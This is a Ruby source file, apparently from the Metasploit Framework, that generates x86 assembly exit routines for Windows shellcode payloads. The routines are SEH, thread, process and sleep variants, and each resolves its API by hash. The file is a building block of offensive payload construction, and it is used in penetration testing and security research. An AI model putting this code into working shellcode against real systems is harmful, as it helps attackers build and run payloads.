77 lines
2.6 KiB
Ruby
77 lines
2.6 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
module Msf
|
|
|
|
###
|
|
#
|
|
# Implements arbitrary exit routines for Windows ARCH_X86 payloads
|
|
#
|
|
###
|
|
|
|
module Payload::Windows::Exitfunk
|
|
|
|
def asm_exitfunk(opts={})
|
|
|
|
asm = "exitfunk:\n"
|
|
|
|
case opts[:exitfunk]
|
|
|
|
when 'seh'
|
|
asm << %Q^
|
|
mov ebx, #{block_api_hash('kernel32.dll', 'SetUnhandledExceptionFilter')}
|
|
push.i8 0 ; push the exit function parameter
|
|
push ebx ; push the hash of the exit function
|
|
call ebp ; SetUnhandledExceptionFilter(0)
|
|
push.i8 0
|
|
ret ; Return to NULL (crash)
|
|
^
|
|
|
|
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
|
|
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
|
|
# automatically generate the right code depending on the selected exit method.
|
|
|
|
when 'thread'
|
|
asm << %Q^
|
|
mov ebx, #{block_api_hash('kernel32.dll', 'ExitThread')}
|
|
push #{block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" )
|
|
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
|
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
|
|
jl exitfunk_goodbye ; Then just call the exit function...
|
|
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
|
jne exitfunk_goodbye ;
|
|
mov ebx, #{block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
|
exitfunk_goodbye: ; We now perform the actual call to the exit function
|
|
push.i8 0 ; push the exit function parameter
|
|
push ebx ; push the hash of the exit function
|
|
call ebp ; call ExitThread(0) || RtlExitUserThread(0)
|
|
^
|
|
|
|
when 'process', nil
|
|
asm << %Q^
|
|
mov ebx, #{block_api_hash('kernel32.dll', 'ExitProcess')}
|
|
push.i8 0 ; push the exit function parameter
|
|
push ebx ; push the hash of the exit function
|
|
call ebp ; ExitProcess(0)
|
|
^
|
|
|
|
when 'sleep'
|
|
asm << %Q^
|
|
mov ebx, #{block_api_hash('kernel32.dll', 'Sleep')}
|
|
push 300000 ; 300 seconds
|
|
push ebx ; push the hash of the function
|
|
call ebp ; Sleep(300000)
|
|
jmp exitfunk ; repeat
|
|
^
|
|
else
|
|
# Do nothing and continue after the end of the shellcode
|
|
end
|
|
|
|
asm
|
|
end
|
|
|
|
|
|
end
|
|
|
|
end
|
|
|